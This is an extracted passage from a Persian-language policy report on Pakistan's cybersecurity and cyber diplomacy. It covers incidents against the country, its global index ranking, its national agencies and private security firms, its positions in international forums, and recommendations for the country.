






پیش‌گفتار
گــزارش حاضــر بــا بهــره‌گیری‌از تجربــه ســال‌ها تلاش و فعالیــت مطالعاتی و با 

بررســی منابــع معتبر و به‌روز انگلیســی به‌‌نــگارش درآمده‌اســت. در این پژوهش 

پــس از بررســی جامــع وضعیت پاکســتان در زمینه امنیت ســایبری و دیپلماســی 

ســایبری، چشــم‌انداز تهدید‌هــای امنیــت ســایبری در پاکســتان، نمونــه حــملات 

خ‌داده علیــه ایــن کــشور و بخش‌هــای هــدف در ایــن حــملات موردبررســی قــرار  ر

می‌گیــرد. رتبــه پاکســتان در شــاخص جهانی امنیت ســایبری، اقدامات پاکســتان 

درراستای تقویت امنیت سایبری، قوانین و سیاست‌های ملی پاکستان در حوزه 

امنیــت ســایبری و همچنیــن بازیگــران کلیــدی زیســت‌بوم امنیــت ســایبری این 

کشور از دیگر موضوعات موردبررســی در این گزارش اســت. در بخش‌های بعدی 

گــزارش پیــش‌رو، نقاط‌قــوت و نقاط‌ضعــف پاکســتان در حوزه امنیــت ســایبری، 

فناوری‌هــای نوین به‌کارگرفته‌شــده در دفاع ســایبری این کشور موردبررســی قرار 

می‌گیــرد و راهکارهــایی نیــز بــرای مقابلــه بــا نقاط‌ضعــف این کــشور در ایــن حوزه 

ارائــه می‌شــود. در پایــان گزارش، رویکرد پاکســتان در حوزه دیپلماســی ســایبری، 

نقــش آن در مجامــع بین‌المللی و همکاری‌های بین‌المللی و داخلی این کشور در 

زمینه امنیت ســایبری مورد واکاوی قرار می‌گیرد. امید اســت نتایج این پژوهش 

مورداستفاده صاحبنظران و علاقه‌مندان محترم قرار گیرد.

موسسه پویندگان توسعه فناوری و نوآوری ایرانیان
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  امنیت سایبری و دیپلماسی سایبری پاکستان  

قرن 21 به‌عنـــوان عصـــر اطلاعـــات شـــناخته می‌شـــود؛ عـــصری کـــه در آن تهدیدهـــای 

ـــرفت‌های  ـــد. پیش ـــارف دارن ـــی و متع ـــای قدیم ـــه تهدیده ـــبت ب ـــتری نس ـــت بیش ـــن اهمی نوی

فناورانـــه و تحـــولات در حوزه ارتباطـــات و اطلاعـــات زمینـــه را بـــرای ظـــهور جنـــگ ســـایبری 

فراهـــم کرده‌انـــد و ایـــن مـــوضوع بـــه تهدیـــدی جـــدی بـــرای حاکمیـــت ملـــی و امنیـــت کشورهـــا 

تبدیـــل شده‌اســـت، چـــرا کـــه پیامدهـــای ایـــن جنـــگ نویـــن در ســـطح داخلـــی و بین‌المللـــی 

گســـترش می‌یابـــد. ازایـــن‌رو، تقویـــت امنیـــت ســـایبری و دیپلماســـی ســـایبری بـــه مســـئله‌ای 

حائزاهمیـــت بـــرای تمامـــی کشورهـــا تبدیـــل شده‌اســـت.

امنیـــت ســـایبری مجموعـــه‌ای از اقدامـــات دفاعـــی و تهاجمـــی اســـت کـــه باهـــدف 

حفاظـــت از دارایی‌هـــای دیجیتـــال و کشـــف و خنثی‌ســـازی تهدیدهـــای ســـایبری بـــه‌کار 

یتی خلاصه مدیر
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ــط  ــهور روابـ ــای نوظـ ــی از حوزه‌هـ ــوان یکـ ــز به‌عنـ ــایبری نیـ ــی سـ ــود. دیپلماسـ ــه می‌شـ گرفتـ

بین‌الملـــل بازتاب‌دهنـــده منافـــع ملـــی کشورهـــا در فضـــای مجـــازی اســـت. باتوجه‌بـــه 

این‌کـــه امنیـــت ســـایبری موضوعـــی نیســـت کـــه یـــک ســـازمان یـــا کـــشور بتوانـــد بـــه تنهـــایی 

آن را مدیریـــت کنـــد، تمامـــی کشورهـــا نیازمنـــد همـــکاری و هم‌افـــزایی بـــا دیگـــر کشورهـــا در 

ایـــن زمینـــه هســـتند.

پاکســتان کــشوری درحال‌توســعه در جهــان جنــوب اســت کــه دارای ۱۱۱ میــلیون نفــر 

کاربــر اینترنت در ســال ۲۰۲۴ بوده‌اســت. بخــش مالی، مخابرات، ارتش و دولت، بهداشــت 

و درمــان، صنعــت و تولیــد، و صنایــع هســته‌ای ازجملــه بخش‌های حســاس و موردهدف 

ایــن کــشور در حــملات ســایبری هســتند. تهدیدهای ســایبری علیــه این کشور نیــز در دو 

دســته کلی طبقه‌بندی می‌شوند: حملات به زیرساخت‌های حیاتی و جرایم سایبری. حمله 

باج‌افزاری به بزرگ‌ترین شــرکت برق خصوصی پاکســتان به نام کی- الکتریک در ســال 2020، 

حمله به ســازمان جمع‌آوری مالیات )FBR( این کشور در ســال 2021، قطعی گسترده برق در 

پی یک حمله دیجیتال مخرب در ســال 2023، هدف قرار گرفتن نیروی دریایی پاکســتان در 

سال‌های 2024 و 2025 و حمله باج‌افزار Blue Locker به شرکت‌های مهم در بخش نفت و گاز 

پاکســتان و به‌طور ویژه شــرکت پاکستان پترولیوم در سال 2025 ازجمله نمونه‌های حملات 

سایبری به این کشور به‌شمار می‌آیند.

پاکســـتان به‌عنـــوان کـــشوری هســـته‌ای اســـت کـــه در نقطـــه‌ای راهبـــردی در تقاطـــع 

جنـــوب آسیـــا، آسیـــای میانـــه و غـــرب آسیـــا )خاورمیانـــه( قـــرار دارد و باتوجه‌بـــه موقعیـــت 

جغرافیـــایی راهبـــردی خـــود بـــر جریـــان داده‌هـــا در ســـطح منطقـــه تاثیرگـــذار اســـت. ایـــن 

 )ITU( اتحادیـــه بین‌المللـــی مخابـــرات )GCI( کـــشور در شـــاخص جهانـــی امنیـــت ســـایبری

در ســـال 2024 بـــا امتیـــاز 96/69 از ۱۰۰ در میـــان کشورهـــای تـــراز اول و پیـــشرو قـــرار داشـــته 
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ـــت  ـــه اس ـــه‌ آسیا-اقیانوسی ـــن منطق ـــر از میانگی ـــاد بالات ـــه ابع ـــا در هم ـــازات آن تقریب و امتی

بهتـــر  اقیانوسیـــه  آسیـــا-  منطقـــه  و  همســـایه  کشورهـــای  بـــه  نســـبت  آن  عملکـــرد  و 

بوده‌اســـت.

پاکســـتان فرصت‌هـــای متعـــددی داشته‌اســـت تـــا جنـــگ ترکیبـــی را کـــه در آن عملیات‌هـــای 

حرکتـــی بـــا عملیات‌هـــای اطلاعاتـــی تکمیـــل می‌شـــود، تجربـــه کنـــد و از توانمندی‌هـــای دفاعـــی 

و تهاجمـــی مطـــلوبی در عرصـــه ســـایبری بـــرخوردار اســـت. ایـــن کـــشور درراســـتای تقویـــت 

بخـــش دفاعـــی و تهاجمـــی خـــود در زمینـــه امنیـــت ســـایبری بـــه بهـــره‌گیری ‌از فناوری‌هـــای 

نویـــن ازجملـــه هوش‌مصنوعـــی و همچنیـــن تشـــکیل فرماندهـــی ســـایبری در ارتـــش و 

ــوایی روی آورده‌اســـت. نیروی هـ

اگرچـــه پاکســـتان از مزایـــای متعـــددی در حوزه امنیـــت ســـایبری بـــرخوردار اســـت، امـــا 

شـــواهد موجـــود حاکـــی از آن اســـت کـــه پیچیدگـــی و ســـرعت حـــملات ســـایبری فراتـــر از 

ظرفیت‌هـــای دفاعـــی کنونـــی ایـــن کـــشور حرکـــت می‌کنـــد. درمجـــموع، مقیـــاس و تاثیـــر 

تهدیدهـــای ســـایبری در کشورهـــای درحال‌توســـعه ازجملـــه پاکســـتان بـــه ســـه دلیـــل عمـــده 

بـــه‌طور قابل‌توجهـــی متفـــاوت اســـت:

 y  ظرفیـــت ناکافـــی کشـــورهای درحال‌توســـعه بـــرای مقابلـــه بـــا تهدیدهـــای ســـایبری و‌

گاهـــی عمومـــی از بهداشـــت امنیـــت ســـایبری؛ کمبـــود آ

 y مقیاس وسیع جمعیت برخط در جنوب آسیا؛ و‌

 y .ع بودن منطقه ژئوپولیتیکی جنوب آسیا ‌متناز

پاکســـتان نیـــز بـــا مجموعـــه‌ای از چالش‌هـــای داخلـــی در حوزه امنیـــت ســـایبری مواجـــه 

ـــر امنیـــت ســـایبری در ایـــن  اســـت کـــه مانـــع تحقـــق تـــاب‌آوری ســـایبری و ایجـــاد ســـاختار موث

کـــشور می‌شـــوند. در اطلاع‌نگاشـــت 1 بـــه برخـــی از ایـــن چالش‌هـــا اشـــاره می‌شـــود.
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    اطلاع‌نگاشت 1:       چالش‌های داخلی پاکستان در حوزه امنیت سایبری  

شــایان ذکر اســت کشور پاکستان برای کاهش و مقابله با تهدیدهای سایبری گام‌های 

زیادی برداشته‌است که برخی از آن‌ها در اطلاع‌نگاشت 2 قابل‌مشاهده هستند.

    اطلاع‌نگاشت 2:       برخی از اقدامات دولت پاکستان در زمینه کاهش و مقابله با تهدیدهای سایبری  

آسیب‌پذیری زیرساخت‌های حیاتی

کمبود نیروی متخصص در حوزه امنیت سایبری و کمبود آگاهی میان 
کاربران و مدیران سیستم‌های سایبری

ظرفیت نهادی ناکافی

ناکارآمد بودن چارچوب حقوقی امنیت سایبری و وابستگی به 
فناوری‌های وارداتی

نبود تعریف روشن و دقیقی از بازیگران حوزه امنیت سایبری در این 
کشور و حوزه مسئولیت آنان

تدویــن قوانیــن و سیاســت‌های ملــی امنیــت ســایبری ازجملــه قــانون 
پیشــگیری از جرایم الکترونیک PECA( 2016(، سیاســت ملی امنیت سایبری 

۲۰۲۱ و راهبرد امنیت سایبری 2023-2028

تخصیــص منابــع مالــی بــه ارزش بیــش از 10 میلیــارد روپیــه پاکســتانی 
( برای حمایت از نهادهای سایبری و پروژه‌ها  )معادل حدود 36 میلیون دلار

و ابتکارهای مرتبط با امنیت سایبری؛

، در  ظرفیت‌سازی و افزایش آگاهی کاربران، به‌ویژه گروه‌های آسیب‌پذیر
زمینه امنیت سایبری؛

ارتقــای همکاری‌هــای بین‌المللــی در حوزه ســایبری به‌منــظور تقویــت 
تاب‌آوری سایبری و ایجاد چارچوب دفاع دیجیتال قدرتمند.

تاسیس نهادهای متعدد در حوزه امنیت سایبری
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شــایان ذکــر اســت ســاختار نهــادی امنیــت ســایبری پاکســتان بــه صورت یــک نهــاد 

یکپارچــه نیســت، بلکــه بــه شــکل زیســت‌بومی هماهنــگ اســت. ایــن زیســت‌بوم شــامل 

ترکیبــی از نهادهــای دولتــی، شــرکت‌های خصوصــی، مراکــز پژوهشــی و بازیگــران نوآفریــن 

اســت کــه هریــک نقشــی مهــم در تقویــت تــوان دفاعــی دیجیتــال کــشور ایفــا می‌کننــد. 

درحالی‌کــه دولــت و نهادهــای نظامــی عمدتــا بــر سیاســت‌گذاری، چارچوب‌هــای قانونــی 

و حفاظــت از زیرســاخت‌های حیاتــی تمرکــز دارنــد، شــرکت‌های خصوصــی و نوآفریــن در 

حوزه فنــاوری بــا ارائــه خدمــات نوآورانــه‌ای ماننــد تســت نفــوذ، تحلیــل بدافــزار، شبیه‌ســازی 

ــادی  ــف اقتص ــای مختل ــایبری بخش‌ه ــاب‌آوری س ــای ت ــه ارتق ــاوره ب ــملات، آموزش و مش ح

و اجتماعــی کمــک می‌کننــد. فهرســت نهادهــای دولتــی پاکســتان کــه نقــش‌ کلیــدی در 

قانون‌گــذاری، پیــش‌گیری، پاســخ بــه حــملات و تحقیق‌وتوســعه در زمینــه امنیــت ســایبری 

دارنــد و شــرکت‌های خصوصــی پیــشرو در حوزه امنیــت ســایبری پاکســتان به‌ترتیــب در دو 

اطلاع‌نگاشــت 3 و 4 ارائــه شده‌اســت.

    اطلاع‌نگاشت 3:       نهادهای دولتی متولی امنیت سایبری در پاکستان  

)MoITT( وزارت ارتباطات و فناوری اطلاعات پاکستان

 eسیاست‌گذاری و قانون‌گذاری در حوزه فناوری اطلاعات و مخابرات

 eفراهم کردن بستر لازم برای مقابله با تهدیدها و جرایم الکترونیک

 eتقویت توانمندی‌های دفاع سایبری کشور

 e باهدف تدویــن، هدایت و )CGPC( تشــکیل کمیتــه‌ سیاســت‌گذاری حکمرانــی ســایبری
نظارت کلان بر سیاست‌ها و قوانین امنیت سایبری در سطح ملی
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)NCCIA( سازمان ملی تحقیقات جرایم سایبری پاکستان

 eتحقیق و مقابله با تمامی جرایم مرتبط با فضای سایبری در سراسر کشور

 eحفاظت از زیرساخت‌های دیجیتال کشور

 eاجرای قوانین سایبری

 eارتقای آگاهی و تاب‌آوری در حوزه امنیت سایبری

)PkCERT( تیم ملی پاسخ فوری سایبری پاکستان

 e حفاظت از دارایی‌های دیجیتال، اطلاعات حســاس و زیرســاخت‌های حیاتی پاکســتان در
برابر حملات سایبری، تروریسم سایبری و جاسوسی سایبری

 eشناسایی، پیش‌گیری و پاسخ به تهدیدهای سایبری

 eترویج آگاهی سایبری

 eایجاد ارتباط بین صنعت و دانشگاه‌ها در زمینه امنیت سایبری

 eتدوین و اجرای سیاست‌های سایبری

 eتقویت همکاری‌های بین‌المللی ازطریق ارتباط با سایر تیم‌های پاسخ فوری سایبری

)NCCS( مرکز ملی امنیت سایبری

 eایجاد توانمندی‌ها و ظرفیت‌های ملی در حوزه امنیت سایبری

 eتربیت متخصصان بومی در زمینه امنیت سایبری

 eارائه راهکارهای بومی در حوزه امنیت سایبری

)NTISB( هیئت ملی امنیت ارتباطات و فناوری اطلاعات

 eسیاست‌گذاری، نظارت و مشاوره در حوزه امنیت ارتباطات و خدمات فناوری اطلاعات

 eهماهنگی در حوزه امنیت ارتباطات و فناوری اطلاعات

)NR3C( مرکز ملی پاسخ‌ به جرایم سایبری

 eاجرای قانون مربوط‌به مقابله با جرایم سایبری
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    اطلاع‌نگاشت 4:       شرکت‌های خصوصی پیشرو در حوزه امنیت سایبری پاکستان   

)nTCERT( تیم ملی پاسخ فوری رایانه‌ای در حوزه مخابرات

 eپایش مستمر تهدیدهای سایبری و جمع‌آوری اطلاعات تهدیدها

 eارائه مشاوره‌ و هشدار به اپراتورهای مخابراتی در مورد تهدیدهای سایبری

 eپاسخ به رخدادهای امنیت سایبری

)PTA( سازمان مخابرات پاکستان

 eتنظیم و نظارت بر بخش مخابرات

 eتدوین مقررات مربوط‌به امنیت داده‌ها و زیرساخت‌های حیاتی مخابرات

)nTSOC( مرکز ملی عملیات امنیتی مخابرات

 eمدیریت حوادث سایبری در بخش مخابرات

 eتامین امنیت داده‌ها و زیرساخت‌های حیاتی مخابراتی پاکستان در برابر حملات سایبری

شرکت خدمات 
امنیت سایبری 

Tier3

ارائــه‌‌ خدمــات تخصصــی ازجمله ارزیابی امنیت ســایبری، تســت نفوذ، 
شبیه‌ســازی حــملات واقعــی بــرای ارزیــابی آمادگــی، تحلیــل آسیب‌پــذیری، 
تهدیدشناســی، پاســخ بــه حــوادث، آموزش تخصصــی امنیــت ســایبری و 

مشاوره در این حوزه

شرکت 
 Apprise

Cyber

آموزش در زمینــه امنیــت ســایبری و ارائــه راهکارهــای امنیــت ســایبری و 
خدمات تست نفوذ
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، پاکستان در مجامع بین‌المللی مختلف مواضع خود درباره حاکمیت  در سال‌های اخیر

داده، تنظیــم‌گری و حکمرانــی جهانــی اینترنــت و هنجارهــای ســایبری را بیــان کرده‌اســت. 

پاکستان به‌عنوان یکی از کشورهای عضو کارگروه آزاد سازمان ملل )OEWG( معتقد است 

کــه حاکمیت سرزمینــی و صلاحیت ملی دولت‌ها به همه زیرســاخت‌های فناوری اطلاعات 

شرکت امنیت 
 Ideal  سایبری

 Solutions

ارائه‌ انواع تســت نفوذ ازجمله تست نفوذ شبکه، برنامه‌های مبتنی‌بر 
وب، برنامه‌‎هــای تلفن همراه، فضای ابری، وب‌ســایت و رابط برنامه‌نویســی 
کاربردی )API( و همچنین برگزاری دوره‌های متنوع آموزشی ازجمله آموزش 

امنیت سایبری

شرکت مشاوره 
GRC

ج  ارائــه‌ خدمــات حرفه‌ای به کســب‌وکارهای کوچــک و بزرگ در داخل و خار
از کــشور در زمینــه‌ حاکمیــت فنــاوری اطلاعــات مدیریــت ریســک و انطباق 

)GRC(، امنیت اطلاعات و امنیت سایبری

شرکت خدمات 
امنیت سایبری 

Cyberwing

ارائــه‌‌ خدمــات تســت نفــوذ و راهکارهــای امنیتــی مطابــق با اســتانداردهای 
جهانی

شرکت 
ONSITE

فنــاوری  و  ســایبری  امنیــت  خدمــات  از  گســترده‌ای  مجموعــه‌  ارائــه‌ 
اطلاعــات ازجملــه مــمیزی امنیتی فناوری اطلاعات، تحلیل ریســک، تســت 
نفــوذ، شناســایی نقاط آسیب‌پذیر و تحلیــل بدافزارها و همچنین کمک به 

سازمان‌ها برای ایجاد زیرساخت‌های ایمن، مقیاس‌پذیر و قابل‌اعتماد

شرکت 
Dunicot

ارائه خدمات تخصصی و پیشــرفته امنیت اطلاعات و توسعه امن نرم‌افزار 
به‌منــظور حفاظت از موسســات مالی و ســازمان‌ها، راهبردهای حاکمیتی و 

اطلاعات حساس عمومی و ارتقای سطح امنیت داده‌ها
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و ارتباطات و داده‌ها در داخل مرزهای آن‌ها تسری می‌یابد و در داخل کشور نیز به ســمت 

تصویب قوانینی حرکت کرده که با این دیدگاه حاکمیت دیجیتال همســو هســتند. نگرانی 

پاکســتان از اعمال نظارت خارجی و نقض حاکمیت داده‌ها در عدم‌پیوســتن این کشور به 

کنوانسیون بوداپســت علیه جرایم ســایبری1 مشهود است. به‌طورکلی، پاکستان در زمینه 

تنظیــم‌گری و حکمرانــی جهانــی اینترنــت بــر حــق هر دولــت بــرای تنظیــم‌گری اینترنت خود 

تاکید دارد و مایل به ایجاد چارچوب‌هایی اســت که به تقویت نقش دولت‌ها در حکمرانی 

اینترنت و حفظ استقلال ملی آن‌ها کمک می‌کنند.

پاکستان معتقد است که اصول منشور سازمان ملل متحد مانند حاکمیت، تمامیت 

ارضی و عدم‌مداخله در امور داخلی کشورها باید اصول راهنمای حاکمیت فضای ســایبری 

باشــند. این کشور همچنین خواســتار تدوین یک ســند حقوقی الزام‌آور بــرای تنظیم رفتار 

کشورهــا و بازیگــران غیردولتــی در زمینــه فناوری‌هــای اطلاعــات و ارتباطــات و جلــوگیری از 

حملات سایبری علیه زیرساخت‌های حیاتی است.

پاکستان از اعمال حقوق بین‌الملل ازجمله منشور سازمان ملل و حقوق بشردوستانه 

بین‌المللــی )IHL( در فضــای ســایبری حمایــت می‌کنــد. ایــن کــشور بــر مســاله انتســاب 

مســئولیت حــملات ســایبری و ظرفیت‌ســازی به‌منــظور مقابلــه با شــکاف دیجیتــال میان 

کشورهــای مختلــف تاکید ویژه‌ای دارد و در بحث اقدامات اعتمادســاز )CBMs( نیز از ایجاد 

فهرســت جهانــی نقاط‌تمــاس )PoCs( به‌منــظور مدیریــت بحران‌هــای ســایبری و افزایــش 

تعامل و همکاری بین کشورها استقبال می‌کند.

پاکســتان به‌عنــوان یکــی از اعضــای ســازمان همــکاری اسلامــی )OIC( پیشــنهادهای 

ح  متعــددی به‌منــظور تقویــت امنیــت ســایبری در کشورهــای عضــو ایــن ســازمان مــطر

1.  Budapest Convention on Cybercrime
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کرده‌اســت. ایــن کــشور در یکــی از کارگاه‌هــای بین‌المللــی ایــن ســازمان در ســال ۲۰۲۴ نیــز 

پیشــنهاد مبنی‌بــر برگــزاری کنفرانــس امنیــت ســایبری در  ســطح وزرای کشورهــای عضــو 

ســازمان همکاری اسلامی باهدف تبادل تجربه و توســعه ســازوکارهای دفاعی قدرتمند در 

ح کرد. این کشور همچنین از برنامــه‌ریزی برای برگزاری دو  برابــر تهدیدهای ســایبری را مــطر

مجمــع جهانــی امنیت ســایبری در آسیای مــرکزی و آفریقا با همکاری شــرکت هواوی و تیم 

پاسخ فوری رایانه‌ای سازمان همکاری اسلامی )OIC-CERT( خبر داده‌است. رئیس سازمان 

مخابــرات پاکســتان )PTA( در جلســه افتتاحیــه ایــن کارگاه بین‌المللــی پیشــنهاد مبنی‌بــر 

تاسیــس مرکز تخصصی امنیت ســایبری به‌منــظور تقویت امنیت دیجیتــال در کشورهای 

ح کرد. عضو سازمان همکاری اسلامی را مطر

امنیــت ســایبری در ســطح بین‌المللــی به‌ســرعت در حــال تبدیــل شــدن بــه یکــی از 

عرصه‌هــای اصلــی رقابــت و همــکاری میان دولت‌هاســت. بدیهی اســت برای کــشوری مانند 

پاکســتان کــه در موقعیــت ژئوپلیتیکــی حساســی قــرار دارد و و در حــال گــذار بــه زیســت‌بوم 

دیجیتــال اســت، ایــن حوزه همزمــان سرشــار از تهدیدهــا و ظرفیت‌هــای بالقــوه‌ای اســت. 

پاکســتان در حوزه امنیت و دیپلماســی ســایبری با مجموعه‌ای از محدودیت‌ها و ضعف‌ها 

ازجملــه محدودیت‌هــای نهــادی و حقوقــی، ضعــف در توســعه ظرفیــت فنــی- دیپلماتیــک، 

عدم‌تخصیــص منابــع کافــی بــه آموزش ســایبری، ضعــف همــکاری میــان دولــت و بخــش 

خصوصــی، ارتباطــات راهبــردی ناکافــی بــا ســایر کشورهــا و همچنیــن پرهیــز از هــم‌سویی 

بــا قدرت‌هــای جهانــی مواجــه اســت. در کنــار ایــن محدودیت‌هــا، ایــن کــشور ظرفیت‌هــای 

مهمــی بــرای بهره‌بــرداری از فضــای ســایبری در اختیــار دارد کــه به‌عنــوان نمونــه می‌تــوان بــه 

ایفــای نقــش رهــبری منطقــه‌ای و ارتقــای حاکمیــت دیجیتــال، گســترش روابــط ژئوپلیتیکــی 

از رهگــذر دیپلماســی ســایبری، ترویــج شــفافیت و رهــبری مســئولانه در فضــای ســایبری، 



18

  امنیت سایبری و دیپلماسی سایبری پاکستان  

افزایــش مشــارکت شــهروندان و بهبــود خدمــات عمومــی دیجیتــال، توســعه همکاری‌هــای 

بین‌المللــی و ایجــاد مشــارکت‌ها و اتحادهــای جدیــد اشــاره کــرد.

تهدیدهــای ســایبری به‌دلیــل ماهیــت ناشــناس و فراملــی خــود تنها ازطریــق همکاری 

مشترک میان کشورها و حتی بازیگران غیردولتی قابل‌مدیریت هستند. درحالی‌که بسیاری 

از کشورهــا مسیرهــای تــازه‌ای برای همــکاری و تدوین هنجارهای ســایبری ایجــاد کرده‌اند، 

مشــارکت پاکســتان در ایــن حوزه بسیار محــدود بــوده و در زمینه همکاری‌هــای دوجانبه، 

چندجانبه و بین‌المللی عقب مانده‌اســت. البته پاکســتان در ســال‌های اخیر با کشورهای 

مختلفی ازجمله چین، عربستان سعودی، روسیه و ترکیه همکاری‌های متعددی در زمینه 

تقویت امنیت سایبری و توان دفاعی و تهاجمی خود برقرار کرده‌است.

پاکستان در حوزه امنیت سایبری علاوه‌بر همکاری‌های بین‌المللی، اقدامات متعددی 

در ســطح ملــی نیز انجام داده‌اســت. ایــن کشور ازطریــق اجــرای تفاهم‌نامه‌هــا و پروژه‌های 

پژوهشی مشترک و همچنین برگزاری دوره‌های آموزشی و کارگاه‌ها و هکاتون‌ها نسبت به 

ارتقای همکاری میان نهادهای داخلی، دانشگاه‌ها و مراکز تحقیقاتی خود )ازجمله سازمان 

مخابــرات پاکســتان )PTA(، هیئت ملی امنیــت مخابرات و فناوری اطلاعــات )NTISB(، تیم 

ملــی پاســخ فوری ســایبری )PkCERT(، دانشــگاه علــوم مدیریت لاهور )LUMS(، دانشــگاه 

 ))NCCS( و مرکز ملی امنیت سایبری پاکستان )NUCES( ملی علوم کامپیوتر و علوم نوپدید

مبــادرت ورزیده‌اســت. ایــن همکاری‌هــا ضمن ایجــاد هماهنگی میــان نهادها، زمینه‌ســاز 

توسعه زیست‌بوم امنیت سایبری پایدار در پاکستان می‌شوند.

و  دیجیتــال  تــاب‌آوری  ارتقــای  حیاتــی،  زیرســاخت‌های  از  محافظــت  بــرای  پاکســتان 

تقویــت امنیت ســایبری و دیپلماســی ســایبری خــود نیازمند انجــام اقداماتی اســت که در 

اطلاع‌نگاشــت 5 به برخی از آن‌ها اشــاره می‌شود. درواقع، این کشور با اجرای این توصیه‌ها 
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می‌تواند گام‌های موثری در زمینه تقویت امنیت سایبری و همچنین ارتقای جایگاه خود در 

دیپلماسی سایبری بردارد.

    اطلاع‌نگاشــت 5:       توصیه‌هــای کلیــدی جهــت تقویــت امنیــت ســایبری و ارتقــای جایــگاه پاکســتان در 
دیپلماسی سایبری  

انجام اقدامات جدی برای تضمین امنیت زیرساخت‌های متصل به شبکه

سرمایه‌گذاری قابل‌توجه در زمینه پرورش نیروی کار متخصص

تدوین راهبردی منسجم برای امنیت سایبری

راه‌اندازی نهادی واحد به نام فرماندهی ملی سایبری

سرمایه‌گذاری در زمینه تولید داخلی امن

تشــکیل تیــم پاســخ فوری رایانــه‌ای ویــژه بــرای بخــش مالــی به‌منــظور حفاظــت از 
موسسات بانکی در برابر حملات سایبری

گســترش همکاری میــان بخش‌های دولتــی و خصوصی در زمینه امنیت ســایبری، 
به‌ویژه در زمینه تاسیسات تولید بومی

جذب و پرورش دیپلمات‌های سایبری برای صیانت از منافع و تقویت همکاری‌های 
بین‌المللی

ایجــاد یــک بخش رســمی برای دیپلماســی ســایبری در وزارت امور خارجه پاکســتان 
)MoFA(

تدویــن چارچوب قانونی مدون و مشــخص در حوزه دیپلماســی ســایبری به‌منظور 
مدیریت فضای سایبری و تقویت همکاری‌های بین‌المللی

ایجــاد مشــارکت‌ها و گفت‌وگوهــای راهبــردی بــا دیگــر کشورهــا و ســازمان‌های 
بین‌المللــی و منطقــه‌ای ماننــد ســازمان ملــل )UN(، مجمــع همــکاری اقتصــادی آسیــا- 

اقیانوسیه )APEC( و سازمان همکاری شانگهای )SCO( در زمینه مسائل سایبری
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برگزاری رزمایش‌های مشترک سایبری در سطح بین‌المللی برای تقویت تاب‌آوری ملی

همسوسازی ابعاد دیپلماسی سایبری و امنیت سایبری با اهداف سیاست داخلی 
و خارجی کشور







بخش اول

امنیت سایبری پاکستان
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)اتومــاسیون(، کلان‌داده،  از فناوری‌هــای خودکارســازی  ، اســتفاده  در دهه‌‌هــای اخیــر

رایانــش ابری و هــوش ‌مصنوعــی به‌طورچشــمگیری افزایــش یافته‌اســت. ایــن روند زندگی 

انســان‌ها را بسیار آســان‌تر از گذشته کرده‌اســت و درعین‌حال، انواع جدیدی از تهدیدها و 

چالش‌هــا را نیــز به همراه آورده‌اســت. امروزه، جهان دیجیتال همــواره در معرض تهدیدها 

و جرایم ســایبری ازجمله هک کردن، کلاهبرداری‌های بانکی، پول‌شویی، ســرقت اطلاعات، 

دستیابی‌به اسرار دولتی و حتی تهدید علیه زیرساخت‌های حیاتی قرار دارد؛ تهدیدهایی که 

بخشی از روندهای نوپدید در جنگ سایبری محسوب می‌شوند ]1[.

فضــای ســایبری به‌عنــوان عرصــه‌ای از جنــگ نســل پنجــم، توجــه گســترده کشورهــای 

توســعه‌یافته و درحال‌توســعه را به خود جلب کرده‌اســت. حملات سایبری موثر می‌توانند 

اطلاعات شــخصی کاربران را به خطر اندازند و همزمان، کل زیرســاخت‌های ملی یک کشور 

را مختــل کرده و خســارت‌های میلیــارد دلاری به اقتصادها وارد کنند. ایــن تهدیدها به‌ویژه 

مقدمه

1
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     1  مهدمق  .

   اول بخش     پاکستانیبریامنیت سا  .

1 ماهیتی فرامرزی و جهانی دارند و به  حملات پیچیده و نوپدید موســوم‌به حملات روز صفر

یک معضل امنیت ملی تبدیل شده‌اند ]2[.

اگرچــه همــه کشورهــا در برابر چنیــن تهدیدهــایی آسیب‌پذیر هســتند، امــا کشورهای 

درحال‌توسعه در معرض خطر بالاتری قرار دارند. زیرا این کشورها معمولا با کمبود تخصص 

و کمبــود متخصصــان امنیتی ماهر و باتجربه برای مقابله موثر با این تهدیدهای رو‌به‌رشــد 

مواجه هستند و البته موارد دیگری نیز در این مسئله دخیل هستند که در گزارش حاضر 

بــه آن‌هــا اشــاره خواهدشــد ]2[. به‌عنــوان مثال، کــشور درحال‌توســعه‌ای مانند پاکســتان 

کــه از موقعیــت جغرافیایی راهبردی و توان هســته‌ای برخوردار اســت، با طیف گســترده‌ای 

از تهدیدهــای امنیــت ســایبری روبــه‌رو اســت کــه زیرســاخت‌های حیاتــی، اقتصــاد و حریــم 

خصوصی شهروندان آن را هدف قرار می‌دهند ]1[.

ح می‌شــود  مفهــوم امنیــت ســایبری بــرای مقابلــه بــا تهدیدهــای روزافزون ســایبری مــطر

ســایبری  امنیــت  اســت.  آن  تقویــت  گرو  در  کشورهــا  ملــی  امنیــت  امروز  دنیــای  در  کــه 

دارایی‌هــای  از  حفاظــت  باهــدف  کــه  اســت  تهاجمــی  و  دفاعــی  اقدامــات  از  مجموعــه‌ای 

بــه‌کار گرفتــه می‌شــود. امنیــت ســایبری در  دیجیتــال و کشــف و خنثی‌ســازی تهدیدهــا 

رویکــرد دفاعــی2 شــامل تمرکــز بــر محافظــت فعــال از سیســتم‌ها و شــبکه‌ها، پیشــگیری از 

ــج  ــای رای ــت. ابزاره ــوذ اس ــس از نف ــات پ ــدن اطلاع ــا و بازگردان ــایی تهدیده ــملات، شناس ح

در ایــن رویکــرد شــامل فــایروال، آنتــی‌ویروس، وی‌پی‌ان )VPN(، سیســتم‌های تشــخیص 

ــای ایــن روش شــامل تــداوم  نفــوذ، رمزگــذاری و احــراز هویــت چندمرحلــه‌ای هســتند. مزای

، کاهــش ریســک‌های قانونــی، حفاظــت از برنــد و افزایــش بهــره‌وری کارکنــان  کســب‌وکار

1.  Zero-day Attacks
حملــه روز صفــر، آسیب‌پــذیری نرم‌افــزاری اســت کــه قبــل از این‌که تولیدکننده نرم‌افزار از آن آگاه شــود، توســط مهاجمان 

مورد سوءاســتفاده قرار می‌گیرد.
2.  Defensive Cybersecurity
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آزمایــش  و  آسیب‌پذیری‌هــا  بــر شناســایی  امنیــت ســایبری تهاجمــی1  اســت. درمقابــل، 

شــبکه‌ها از منظــر مهاجــم تمرکــز دارد. ایــن روش شــامل تســت نفــوذ، جمــع‌آوری اطلاعــات 

دربــاره مهاجمیــن بالقــوه و مختــل کــردن برنامه‌هــای حملــه می‌شــود. مزایــای ایــن رویکــرد 

شــامل افزایش آمادگی ســازمان‌ها، بازدارندگی از حملات آینده و کســب اطلاعات ارزشــمند 

